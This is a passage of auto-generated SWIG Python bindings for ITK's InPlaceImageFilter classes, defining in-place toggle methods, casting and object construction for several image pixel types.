itkInPlaceImageFilterIUS3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS3ISS3 Create a new object of the class itkInPlaceImageFilterIUS3ISS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS3ISS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS3ISS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS3ISS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS3ISS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_SetInPlace, None, itkInPlaceImageFilterIUS3ISS3) itkInPlaceImageFilterIUS3ISS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_GetInPlace, None, itkInPlaceImageFilterIUS3ISS3) itkInPlaceImageFilterIUS3ISS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_InPlaceOn, None, itkInPlaceImageFilterIUS3ISS3) itkInPlaceImageFilterIUS3ISS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_InPlaceOff, None, itkInPlaceImageFilterIUS3ISS3) itkInPlaceImageFilterIUS3ISS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_CanRunInPlace, None, itkInPlaceImageFilterIUS3ISS3) itkInPlaceImageFilterIUS3ISS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_swigregister itkInPlaceImageFilterIUS3ISS3_swigregister(itkInPlaceImageFilterIUS3ISS3) def itkInPlaceImageFilterIUS3ISS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3ISS3 *": """itkInPlaceImageFilterIUS3ISS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_cast(obj) class itkInPlaceImageFilterIUS3IUC3(itkImageToImageFilterAPython.itkImageToImageFilterIUS3IUC3): """Proxy of C++ itkInPlaceImageFilterIUS3IUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS3IUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS3IUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS3IUC3 Create a new object of the class itkInPlaceImageFilterIUS3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS3IUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_SetInPlace, None, itkInPlaceImageFilterIUS3IUC3) itkInPlaceImageFilterIUS3IUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_GetInPlace, None, itkInPlaceImageFilterIUS3IUC3) itkInPlaceImageFilterIUS3IUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_InPlaceOn, None, itkInPlaceImageFilterIUS3IUC3) itkInPlaceImageFilterIUS3IUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_InPlaceOff, None, itkInPlaceImageFilterIUS3IUC3) itkInPlaceImageFilterIUS3IUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_CanRunInPlace, None, itkInPlaceImageFilterIUS3IUC3) itkInPlaceImageFilterIUS3IUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_swigregister itkInPlaceImageFilterIUS3IUC3_swigregister(itkInPlaceImageFilterIUS3IUC3) def itkInPlaceImageFilterIUS3IUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IUC3 *": """itkInPlaceImageFilterIUS3IUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUC3_cast(obj) class itkInPlaceImageFilterIUS3IUS3(itkImageToImageFilterAPython.itkImageToImageFilterIUS3IUS3): """Proxy of C++ itkInPlaceImageFilterIUS3IUS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS3IUS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS3IUS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IUS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS3IUS3 Create a new object of the class itkInPlaceImageFilterIUS3IUS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS3IUS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS3IUS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS3IUS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS3IUS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_SetInPlace, None, itkInPlaceImageFilterIUS3IUS3) itkInPlaceImageFilterIUS3IUS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_GetInPlace, None, itkInPlaceImageFilterIUS3IUS3) itkInPlaceImageFilterIUS3IUS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_InPlaceOn, None, itkInPlaceImageFilterIUS3IUS3) itkInPlaceImageFilterIUS3IUS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_InPlaceOff, None, itkInPlaceImageFilterIUS3IUS3) itkInPlaceImageFilterIUS3IUS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_CanRunInPlace, None, itkInPlaceImageFilterIUS3IUS3) itkInPlaceImageFilterIUS3IUS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_swigregister itkInPlaceImageFilterIUS3IUS3_swigregister(itkInPlaceImageFilterIUS3IUS3) def itkInPlaceImageFilterIUS3IUS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IUS3 *": """itkInPlaceImageFilterIUS3IUS3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IUS3_cast(obj) class itkInPlaceImageFilterIVF22ICVF22(itkImageToImageFilterAPython.itkImageToImageFilterIVF22ICVF22): """Proxy of C++ itkInPlaceImageFilterIVF22ICVF22 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF22ICVF22 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF22ICVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF22ICVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF22ICVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF22ICVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF22ICVF22 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF22ICVF22 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF22ICVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF22ICVF22 Create a new object of the class itkInPlaceImageFilterIVF22ICVF22 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF22ICVF22.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF22ICVF22.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF22ICVF22.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF22ICVF22.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_SetInPlace, None, itkInPlaceImageFilterIVF22ICVF22) itkInPlaceImageFilterIVF22ICVF22.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_GetInPlace, None, itkInPlaceImageFilterIVF22ICVF22) itkInPlaceImageFilterIVF22ICVF22.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_InPlaceOn, None, itkInPlaceImageFilterIVF22ICVF22) itkInPlaceImageFilterIVF22ICVF22.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_InPlaceOff, None, itkInPlaceImageFilterIVF22ICVF22) itkInPlaceImageFilterIVF22ICVF22.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_CanRunInPlace, None, itkInPlaceImageFilterIVF22ICVF22) itkInPlaceImageFilterIVF22ICVF22_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_swigregister itkInPlaceImageFilterIVF22ICVF22_swigregister(itkInPlaceImageFilterIVF22ICVF22) def itkInPlaceImageFilterIVF22ICVF22_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF22ICVF22 *": """itkInPlaceImageFilterIVF22ICVF22_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF22ICVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22ICVF22_cast(obj) class itkInPlaceImageFilterIVF22IVF22(itkImageToImageFilterAPython.itkImageToImageFilterIVF22IVF22): """Proxy of C++ itkInPlaceImageFilterIVF22IVF22 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF22IVF22 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF22IVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF22IVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF22IVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF22IVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF22IVF22 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF22IVF22 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF22IVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF22IVF22 Create a new object of the class itkInPlaceImageFilterIVF22IVF22 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF22IVF22.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF22IVF22.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF22IVF22.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF22IVF22.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_SetInPlace, None, itkInPlaceImageFilterIVF22IVF22) itkInPlaceImageFilterIVF22IVF22.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_GetInPlace, None, itkInPlaceImageFilterIVF22IVF22) itkInPlaceImageFilterIVF22IVF22.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_InPlaceOn, None, itkInPlaceImageFilterIVF22IVF22) itkInPlaceImageFilterIVF22IVF22.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_InPlaceOff, None, itkInPlaceImageFilterIVF22IVF22) itkInPlaceImageFilterIVF22IVF22.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_CanRunInPlace, None, itkInPlaceImageFilterIVF22IVF22) itkInPlaceImageFilterIVF22IVF22_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_swigregister itkInPlaceImageFilterIVF22IVF22_swigregister(itkInPlaceImageFilterIVF22IVF22) def itkInPlaceImageFilterIVF22IVF22_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF22IVF22 *": """itkInPlaceImageFilterIVF22IVF22_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF22IVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF22IVF22_cast(obj) class itkInPlaceImageFilterIVF23ICVF23(itkImageToImageFilterAPython.itkImageToImageFilterIVF23ICVF23): """Proxy of C++ itkInPlaceImageFilterIVF23ICVF23 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF23ICVF23 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF23ICVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF23ICVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF23ICVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF23ICVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF23ICVF23 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF23ICVF23 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF23ICVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF23ICVF23 Create a new object of the class itkInPlaceImageFilterIVF23ICVF23 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF23ICVF23.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF23ICVF23.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF23ICVF23.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF23ICVF23.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_SetInPlace, None, itkInPlaceImageFilterIVF23ICVF23) itkInPlaceImageFilterIVF23ICVF23.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_GetInPlace, None, itkInPlaceImageFilterIVF23ICVF23) itkInPlaceImageFilterIVF23ICVF23.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_InPlaceOn, None, itkInPlaceImageFilterIVF23ICVF23) itkInPlaceImageFilterIVF23ICVF23.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_InPlaceOff, None, itkInPlaceImageFilterIVF23ICVF23) itkInPlaceImageFilterIVF23ICVF23.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_CanRunInPlace, None, itkInPlaceImageFilterIVF23ICVF23) itkInPlaceImageFilterIVF23ICVF23_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_swigregister itkInPlaceImageFilterIVF23ICVF23_swigregister(itkInPlaceImageFilterIVF23ICVF23) def itkInPlaceImageFilterIVF23ICVF23_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF23ICVF23 *": """itkInPlaceImageFilterIVF23ICVF23_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF23ICVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23ICVF23_cast(obj) class itkInPlaceImageFilterIVF23IVF23(itkImageToImageFilterAPython.itkImageToImageFilterIVF23IVF23): """Proxy of C++ itkInPlaceImageFilterIVF23IVF23 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF23IVF23 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF23IVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF23IVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF23IVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF23IVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF23IVF23 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF23IVF23 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF23IVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF23IVF23 Create a new object of the class itkInPlaceImageFilterIVF23IVF23 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF23IVF23.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF23IVF23.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF23IVF23.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF23IVF23.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_SetInPlace, None, itkInPlaceImageFilterIVF23IVF23) itkInPlaceImageFilterIVF23IVF23.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_GetInPlace, None, itkInPlaceImageFilterIVF23IVF23) itkInPlaceImageFilterIVF23IVF23.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_InPlaceOn, None, itkInPlaceImageFilterIVF23IVF23) itkInPlaceImageFilterIVF23IVF23.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_InPlaceOff, None, itkInPlaceImageFilterIVF23IVF23) itkInPlaceImageFilterIVF23IVF23.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_CanRunInPlace, None, itkInPlaceImageFilterIVF23IVF23) itkInPlaceImageFilterIVF23IVF23_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_swigregister itkInPlaceImageFilterIVF23IVF23_swigregister(itkInPlaceImageFilterIVF23IVF23) def itkInPlaceImageFilterIVF23IVF23_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF23IVF23 *": """itkInPlaceImageFilterIVF23IVF23_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF23IVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF23IVF23_cast(obj) class itkInPlaceImageFilterIVF32ICVF32(itkImageToImageFilterAPython.itkImageToImageFilterIVF32ICVF32): """Proxy of C++ itkInPlaceImageFilterIVF32ICVF32 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIVF32ICVF32 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIVF32ICVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIVF32ICVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIVF32ICVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIVF32ICVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIVF32ICVF32 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIVF32ICVF32 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIVF32ICVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIVF32ICVF32 Create a new object of the class itkInPlaceImageFilterIVF32ICVF32 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIVF32ICVF32.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIVF32ICVF32.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIVF32ICVF32.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIVF32ICVF32.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF32ICVF32_SetInPlace, None, itkInPlaceImageFilterIVF32ICVF32) itkInPlaceImageFilterIVF32ICVF32.GetInPlace = 